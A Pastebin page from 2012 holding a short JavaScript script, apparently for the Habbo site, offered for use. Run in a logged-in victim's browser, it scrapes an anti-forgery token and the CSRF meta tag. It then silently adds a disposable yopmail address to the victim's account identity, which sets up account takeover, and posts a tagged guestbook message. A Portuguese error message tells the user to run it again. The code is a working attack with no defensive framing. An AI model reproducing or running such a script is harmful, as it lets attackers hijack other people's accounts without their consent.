This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Feb 27th, 2012  |  syntax: None  |  size: 1.06 KB  |  views: 19  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. function random(len){var i, chars='1234567890QWERTYUIOPLKJHGFDSAZXCVBNM', str='';if(!len)len = 15;for(i=0;i<len;i++)str += chars.substr((Math.floor(Math.random()*(chars.length+1))),1);return str;};  
  2. var rand=random(8);
  3. /* por edi472 :),  adaptado por phoenix */
  4. a=Ajax;
  5. email = '';
  6. new a.Request('/identity/email',{
  7.   onComplete:function(x){  
  8.     x=x.responseText;
  9.     new a.Request('/identity/add_email',{  
  10. parameters:'struts.token.name=addEmailToken&addEmailToken='+x.match(/name="addEmailToken" value="(.*)"/gi).toString().split('value=')[1].split('"')[1].split('"')[0]+'&email=phxbot_'+rand+'@yopmail.com&__app_key='+$$('meta[name=csrf-token]')[0].content,
  11.      onComplete:function(p) {  
  12.       try{  
  13.       if(p.responseText.toString().match(/error.email/gi) || p.responseText.toString().match(/register.error/gi)  ){ alert('Erro ao usar o c√≥digo\nExecute novamente.') };
  14.       }catch(e){}
  15.      }
  16.     })
  17.   }
  18. });
  19. new Ajax.Request('/myhabbo/guestbook/add', {parameters:'ownerId=123&message=phxbot_'+rand+'&scope=1&query=&widgetId=16622659'});
clone this paste RAW Paste Data